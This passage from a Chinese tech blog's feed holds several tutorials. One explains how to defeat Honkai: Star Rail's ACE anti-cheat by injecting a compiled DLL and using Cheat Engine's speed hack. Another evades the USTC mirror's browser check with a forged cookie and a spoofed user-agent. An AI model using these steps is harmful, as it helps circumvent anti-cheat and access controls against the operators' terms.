&lt;th&gt;部署难度&lt;/th&gt;
&lt;th&gt;可定制性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vercel Function&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;最简单&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare Worker&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EdgeOne Pages&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;优秀&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VPS + Go&lt;/td&gt;
&lt;td&gt;VPS费用&lt;/td&gt;
&lt;td&gt;取决于VPS位置&lt;/td&gt;
&lt;td&gt;复杂&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;高级配置&lt;/h1&gt;
&lt;p&gt;如果你想修改三级域名，比如将 &lt;code&gt;gh.abc.com&lt;/code&gt; 改为 &lt;code&gt;github.abc.com&lt;/code&gt;，直接更改域名映射配置对应键的值即可。&lt;/p&gt;
&lt;p&gt;你可以添加和删除要重定向的路径，默认重定向到一个神秘网站，根据注释自行更改。&lt;/p&gt;
&lt;p&gt;本项目也是一个通用的全站反代模板，可以反代其他网站（注意需要大改代码）。&lt;/p&gt;
</content:encoded></item><item><title>崩坏星穹铁道全局加速</title><link>https://2x.nz/posts/starrail-fast/</link><guid isPermaLink="true">https://2x.nz/posts/starrail-fast/</guid><description>因为本文涉猎敏感地带，所以仅供专业人士技术讨论，我也不会发布什么一键包，请按照教程自己动手</description><pubDate>Mon, 14 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理剖析&lt;/h1&gt;
&lt;p&gt;注入一个DLL实现绕过ACE反作弊，然后用CE的变速精灵&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;确保你安装了Virtual Studio 2022 中的工作负载：使用C++的桌面开发&lt;/p&gt;
&lt;p&gt;克隆DLL源码仓库：&lt;a href=&quot;https://github.com/gmh5225/Honkai-StarRail-ACE-B&quot;&gt;GitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/TsudaKageyu/minhook/releases&quot;&gt;Releases · TsudaKageyu/minhook&lt;/a&gt; 分别下载 &lt;code&gt;bin&lt;/code&gt; 和 &lt;code&gt;lib&lt;/code&gt; ，将其解压后寻找文件 &lt;code&gt;libMinHook.x64.lib&lt;/code&gt; 和 &lt;code&gt;MinHook.h&lt;/code&gt; 将其放到DLL源码仓库根目录&lt;/p&gt;
&lt;p&gt;代码需要小改，这里省略&lt;/p&gt;
&lt;p&gt;编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MSBuild star_rail.sln /p:Configuration=Release /p:Platform=x64 /property:GenerateFullPaths=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;产物在：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\x64\Release\star_rail.dll&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/master131/ExtremeInjector/releases&quot;&gt;Releases · master131/ExtremeInjector&lt;/a&gt; 下载并解压，得到 &lt;code&gt;Extreme Injector v3.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;正常打开游戏，运行 &lt;code&gt;Extreme Injector v3.exe&lt;/code&gt; ，选择游戏进程，注入刚刚编译出来的DLL&lt;/p&gt;
&lt;p&gt;前往 https://www.cheatengine.org/ 下载CE，打开CE，如果游戏没有闪退或者弹出反作弊窗口，则证明注入成功。接下来选择游戏进程，开启变速精灵，2-5倍速即可。Enjoy it！&lt;/p&gt;
</content:encoded></item><item><title>绕过USTC的浏览器JS验证</title><link>https://2x.nz/posts/bypass-ustc-verifying/</link><guid isPermaLink="true">https://2x.nz/posts/bypass-ustc-verifying/</guid><description>USTC在下载一些资源的时候会使用JS验证，有没有不用无头浏览器绕过的方法呢...</description><pubDate>Thu, 03 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;当我们去下载类似于 https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso 这样的大文件时，USTC大概率会给你一个这样的：正在验证你的浏览器 的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/58e8e41a-0755-4e6a-ab1e-a9dbaa1042d5.CdR19St9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你正在使用一个浏览器，比如Chrome、FireFox等，那过几秒你就能看到文件被成功开始下载&lt;/p&gt;
&lt;p&gt;但是，如果你正在使用wget等无JS特性的工具下载这类文件，你将会被网站服务器拒绝： &lt;strong&gt;ERROR 403: Forbidden.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:44:13--  https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:44:14 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在之前，如果我想要下载这类文件我都会使用浏览器去下载，但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了&lt;/p&gt;
&lt;p&gt;于是我便想深挖一下，然后发现其实根本不是什么JS验证！！！&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;让我们首先打开这类链接，然后查询网页源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;		&amp;lt;h1&amp;gt;Verifying your browser&amp;lt;/h1&amp;gt;
		&amp;lt;p&amp;gt;Additional verification is required for this file you requested.&amp;lt;/p&amp;gt;
		&amp;lt;p&amp;gt;This page requires JavaScript. Please wait for a few seconds.&amp;lt;/p&amp;gt;
		&amp;lt;div class=&quot;footer&quot;&amp;gt;
			&amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&amp;lt;/p&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;script&amp;gt;
			document.cookie = &quot;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300&quot;;
			setTimeout(function () {
				location.reload();
			}, 2000);
		&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会发现，代码其实非常简洁干练，如果你的浏览器支持JavaScript，浏览器则会将 &lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;这一串内容写入你的Cookie，之后等待两秒重载页面，然后网站发现你携带了这个Cookie，就会让你成功下载了。反之，如果你的浏览器不支持JavaScript，就会触发403，导致无法下载&lt;/p&gt;
&lt;p&gt;那么这个&lt;code&gt;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;到底是什么呢？&lt;/p&gt;
&lt;p&gt;我们注意到在网页上还显示了一句：&lt;code&gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/code&gt;，那么显然，网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的&lt;/p&gt;
&lt;p&gt;那么换一个思路去想，我是不是只要携带了这个Cookie，就能绕过JS验证呢？&lt;/p&gt;
&lt;p&gt;让我们来试一试&lt;/p&gt;
&lt;h1&gt;实战&lt;/h1&gt;
&lt;p&gt;首先我们使用默认的wget。403&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:55:00--  https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:55:00 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后让我们携带上Cookie，但是首先我们要获得网站获取到的我们的访问IP。&lt;/p&gt;
&lt;p&gt;这很简单，我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为：&lt;code&gt;2409:8a30:320:6480::458&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn/dbian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso                                                                 &amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
        &amp;lt;head&amp;gt;
                &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
                &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
                &amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;
                &amp;lt;style&amp;gt;
这里是无关紧要的CSS，省略
                &amp;lt;/style&amp;gt;
        &amp;lt;/head&amp;gt;
        &amp;lt;body&amp;gt;
                &amp;lt;h1&amp;gt;403 Forbidden&amp;lt;/h1&amp;gt;
                &amp;lt;p&amp;gt;USTC Mirrors has denied your access due to one of the following reasons:&amp;lt;/p&amp;gt;
                &amp;lt;p&amp;gt;1. This directory is not intended for web browsing.&amp;lt;/p&amp;gt;
                &amp;lt;p&amp;gt;2. Your computer or network has exhibited suspicious activity.&amp;lt;/p&amp;gt;
                &amp;lt;p&amp;gt;If you have any question, email us at lug (AT) ustc.edu.cn with your IP address.&amp;lt;/p&amp;gt;
                &amp;lt;div class=&quot;footer&quot;&amp;gt;
                        &amp;lt;p&amp;gt;Your IP address is 2409:8a30:320:6480::458&amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
        &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来让我们携带Cookie：&lt;code&gt;addr=2409:8a30:320:6480::458&lt;/code&gt;，再次尝试wget。可惜仍然报错，思考了一下，我们可能需要伪造一下UA&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget --header=&quot;Cookie: addr=2409:8a30:320:6480::458&quot; \
     https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
--2025-04-04 14:57:58--  https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2025-04-04 14:57:58 ERROR 403: Forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么接下来我们携带必要的Cookie，再去伪造一个Chrome浏览器的UA。可见，已经成功下载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~# wget --header=&quot;Cookie: addr=2409:8a30:320:6480::458&quot; \
     --user-agent=&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0&quot; \
     &quot;https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso&quot;
--2025-04-04 14:59:24--  https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3994091520 (3.7G) [application/octet-stream]
Saving to: ‘debian-12.10.0-amd64-DVD-1.iso.2’

debian-12.10.0-amd64-DVD-1.iso.2-   5%[&amp;gt;                          ] 207.26M  72.9MB/s 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;/h1&gt;
</content:encoded></item><item><title>Netlify、Vercel反代网站</title><link>https://2x.nz/posts/netlify-vercel-proxy/</link><guid isPermaLink="true">https://2x.nz/posts/netlify-vercel-proxy/</guid><description>会用Netlify，家宽建站不是梦！</description><pubDate>Thu, 03 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理思路&lt;/h1&gt;
&lt;p&gt;现阶段大部分家宽拿不到公网IPv4，但是可以拿到公网IPv6，借助Netlify做一个v6 -&amp;gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程，不过这玩意在2025年仍然不支持IPv6，只能拿来反代小黄站了ToT&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;Netlify篇&lt;/h2&gt;
&lt;p&gt;首先前往 https://app.netlify.com/ 注册账号。（注意！最好使用谷歌邮箱去注册，其他方式注册可能会出现什么你的账号需要验证/激活，然后巴拉巴拉很麻烦）
接下来去Github开一个新仓库，根目录创建一个 &lt;code&gt;netlify.toml&lt;/code&gt;。在其中写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[[redirects]]
  from = &quot;/*&quot;
  to = &quot;http://反代域名:反代端口/:splat&quot;
  status = 200
  force = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意，端口后面的斜杠一定不要丢！
家宽v6网站建议搭配DDNS食用
接下来回到 https://app.netlify.com/ 创建一个新项目，导入你刚创建的Github项目，部署即可
最后绑定一下你的域名，完成！&lt;/p&gt;
&lt;h2&gt;Vercel篇&lt;/h2&gt;
&lt;p&gt;首先前往 https://vercel.com/ 注册并登录你的账号
电脑安装Nodejs，我们需要用到npm
安装Vercel CLI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm i -g vercel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录Vercel CLI&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vercel login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找个地方（比如桌面）创建一个你随意命名的文件夹，然后在其中创建一个你随意命名的.json文件，其中写入。&lt;strong&gt;注意，目前Vercel不支持反代IPv6！！！&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;version&quot;: 2,
    &quot;routes&quot;: [
      {&quot;src&quot;: &quot;/(.*)&quot;,&quot;dest&quot;: &quot;https://反代域名:端口&quot;}
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后部署&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;verceL -A 你随意命名的.json --prod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后绑定一下你的域名，完成！&lt;/p&gt;
</content:encoded></item><item><title>卧室布局整改记录</title><link>https://2x.nz/posts/reset-bedroom/</link><guid isPermaLink="true">https://2x.nz/posts/reset-bedroom/</guid><description>起因只是凌晨苏醒的灵机一动，然后...</description><pubDate>Thu, 03 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;我的卧室曾经是这样的，如你所见，非常杂乱且布线乱七八糟&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0c47e9a6-1544-4410-94d4-d319ea12ca70.D_wjWbHd.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;契机&lt;/h1&gt;
&lt;p&gt;今天早上起来我灵机一动，想着要不要整理一下，于是变成了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a4db38f0-5a54-4e6c-8392-2375d775f7c6.BSmJqnbI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结束咯~&lt;/p&gt;
</content:encoded></item><item><title>自建邮局太麻烦？两种免费域名邮箱方案任你选！</title><link>https://2x.nz/posts/domain-email/</link><guid isPermaLink="true">https://2x.nz/posts/domain-email/</guid><description>想要一个域名邮箱？这里提供两种免费方案：网易免费企业邮和腾讯企业邮箱，各有优劣，按需选择！</description><pubDate>Tue, 11 Mar 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。&lt;/p&gt;
&lt;p&gt;我当时就很好奇，就去问他你这个邮箱是自建的吗？&lt;/p&gt;
&lt;p&gt;因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱，但是这需要金钱和时间成本，而且我认为不大稳定，所以一直就没有试过。&lt;/p&gt;
&lt;p&gt;然后他说他用的是Cloudflare的邮件转发服务。但是因为是转发，如果你想要以域名邮箱的身份发邮件就需要费一番周折，这也太割裂了。&lt;/p&gt;
&lt;p&gt;于是发现了网易免费企业邮和腾讯企业邮箱，可以免费绑定你的域名用作域名邮箱，既能收，也能发。&lt;/p&gt;
&lt;h1&gt;方案对比&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;网易免费企业邮&lt;/th&gt;
&lt;th&gt;腾讯企业邮箱&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;开启SMTP/IMAP&lt;/td&gt;
&lt;td&gt;⭐⭐ 较麻烦，有坑&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ 简单直接&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;稳定性&lt;/td&gt;
&lt;td&gt;⭐⭐⭐ 较老牌&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ 大厂背书&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;推荐程度&lt;/td&gt;
&lt;td&gt;不推荐&lt;/td&gt;
&lt;td&gt;推荐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;方案一：腾讯企业邮箱（推荐）&lt;/h1&gt;
&lt;h2&gt;正式开始&lt;/h2&gt;
&lt;p&gt;首先进入 &lt;a href=&quot;https://work.weixin.qq.com/mail/&quot;&gt;腾讯企业邮箱&lt;/a&gt; 创建一个企业，会让你绑定企业微信，按照步骤弄好就行&lt;/p&gt;
&lt;p&gt;接下来绑定域名，添加几条MX记录即可&lt;/p&gt;
&lt;h2&gt;开启SMTP/IMAP/POP3&lt;/h2&gt;
&lt;p&gt;我们需要前往 &lt;a href=&quot;https://exmail.qq.com/login&quot;&gt;腾讯企业邮箱-登录入口&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意，这里点击 &lt;code&gt;其他方式登录&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-20-57-24-image.DZB64vSV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后选择账号密码登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-20-57-44-image.CPQGzVKo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着选择成员登录（如果直接进去了就跳过这一步）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-20-59-22-image.De_ZPlmQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来左上角点击设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-21-00-08-image.ZS0758uf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收发信设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-21-00-31-image.cEBirByP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里就能查看到SMTP和IMAP的地址和端口（实测TLS也是支持的，只是它没写）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-21-01-07-image.BECqHbAx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;生成客户端密码&lt;/h2&gt;
&lt;p&gt;接下来前往邮箱绑定&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-21-01-36-image.Bk-JF1lv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成新密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-21-01-57-image.C3HikFob.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;方案二：网易免费企业邮&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：网易企业邮存在一些问题，SMTP/IMAP/POP3默认是关的，你想打开就弹出一个 &lt;code&gt;管理员未开启当前登录权限&lt;/code&gt;，体验较差，更推荐使用腾讯企业邮箱。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;创建账号并配置管理员&lt;/h2&gt;
&lt;p&gt;首先前往 &lt;a href=&quot;https://ym.163.com/&quot;&gt;网易免费企业邮箱&lt;/a&gt; 创建一个账号。直接用手机号注册&lt;/p&gt;
&lt;p&gt;注意，注册完毕后登录账户名和登录密码会通过&lt;strong&gt;短信&lt;/strong&gt;发给你，然后前往 https://mail.qiye.163.com/ 进行登录&lt;/p&gt;
&lt;p&gt;如果你不喜欢系统随机生成的密码，可以先点击忘记密码，然后填写账户名，验证绑定的手机号后即可重置密码&lt;/p&gt;
&lt;p&gt;登陆进去后大概是这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/65e5b400-96d7-44c6-b16e-a7a409104c3c.D8d-Js5e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你不喜欢你的账户名，比如我的就是 &lt;strong&gt;erchashush&lt;/strong&gt; @acofork.freeqiye.com，这个erchashush其实是可以更改的&lt;/p&gt;
&lt;p&gt;在组织机构管理中点击账号管理，选择新建账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a20e7931-c460-4134-b1b0-0fee82f8a7fc.ro_ZCPWq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后写一个你想要的别名。绑定手机填你的，因为第一次登录需要验证码验证，如果填错了直接删除即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b9ac287d-ff90-4f8c-88ba-0d7bb1588f1c.JENagDbB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们需要给这个新账号提权，如果你想用superadmin登录后台的话&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/6f21feca-984d-444e-b80f-bf1a28e4cf79.DIhcyYPf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着右上角退出登录，然后使用新创建的管理员账户登录&lt;/p&gt;
&lt;h2&gt;绑定你的域名&lt;/h2&gt;
&lt;p&gt;前往组织机构管理 - 域名管理 - 添加域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2fa04b72-f0e7-43c0-9c2a-1daab62e67cb.DJIYJ7hX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据提示在你的域名提供商（比如Cloudflare）配置TXT记录和MX记录即可&lt;/p&gt;
&lt;h2&gt;登录你的邮箱&lt;/h2&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://dashi.163.com/&quot;&gt;网易邮箱大师-高效强大的全平台邮箱客户端&lt;/a&gt; 下载对应的版本&lt;/p&gt;
&lt;p&gt;使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师，在手机端登录后任何其他平台登录都会需要手机端授权，更安全&lt;/p&gt;
&lt;h2&gt;效果展示&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/614794bd-d84d-4b66-b816-1d6d6ce73727.B4ya1KZ-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;签名和发件人头像可以通过手机的网易邮箱大师设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/57f759bc-46fb-4f99-b6bb-751464661240.Db51oyTh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Cloudflare R2+Workers！马上搭建自己的云上图床！</title><link>https://2x.nz/posts/cf-randompic/</link><guid isPermaLink="true">https://2x.nz/posts/cf-randompic/</guid><description>使用R2存储图片，通过Workers连接，最后使用a标签或img标签在网页中嵌入展示，全链路上云</description><pubDate>Tue, 04 Mar 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;&lt;strong&gt;结果图&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/408795f3ec1a5a9baf91b6cd7564d6f1d7dbc5bd.DsrlLD42.webp&quot; alt=&quot;QmVgqgoC7G8NLS21WvR8j9gf5amu33XvuV68ZrgM5B9iFf.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;图源由 Cloudflare R2 托管，通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片，静态页面引用 Workers 的 URL 以实现以上界面&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;创建 Cloudflare R2 存储桶&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;，进入 R2 页面，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0ffb86d36ab0f3fcc24ef7b3d64c4bc72b6b53e7.GCME8Mhq.webp&quot; alt=&quot;QmU7u2JHUcevyHnwsCdAZfs7X7Fcdh3KJhn6eoy24Q5dGC.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择创建存储桶&lt;img src=&quot;https://2x.nz/_astro/26d3b3e26b9e2f641a2eea98c2ddb8891a0b7f6a.BZ1bB4y2.webp&quot; alt=&quot;QmX3eCaCVEgE8AN29D9t2VpQ5t5SrZGKb8EcZv9oKpCqf2.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为你的存储桶起一个名字，然后单击创建&lt;img src=&quot;https://2x.nz/_astro/7fa96a023d7969ab168d467ab6d05646e5241884.C2dyQxED.webp&quot; alt=&quot;QmVad5eoJCLpSNZ4HCvTPJfD8rpg4aePMzZ7j2DZATn1XD.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入如下页面就已经创建完毕了&lt;img src=&quot;https://2x.nz/_astro/719f2dfe59c73fa820ffc6cc2d9749ca14b9bece.CrGe_yDZ.webp&quot; alt=&quot;QmSdzwBJpw2L4a8LJ3eM3VMJs3d5oV5iFCxCMtv69VZmYH.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输，所以需要创建你的 R2 API 令牌，单击管理 R2 API 令牌&lt;img src=&quot;https://2x.nz/_astro/9b1a338acae642ce7ce71dd41454903b1cfeafd0.DId1IrEN.webp&quot; alt=&quot;QmbS8zjJTESwsmycKBSC9kmabAA9dtSCUX8nbUDWg4BWRX.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
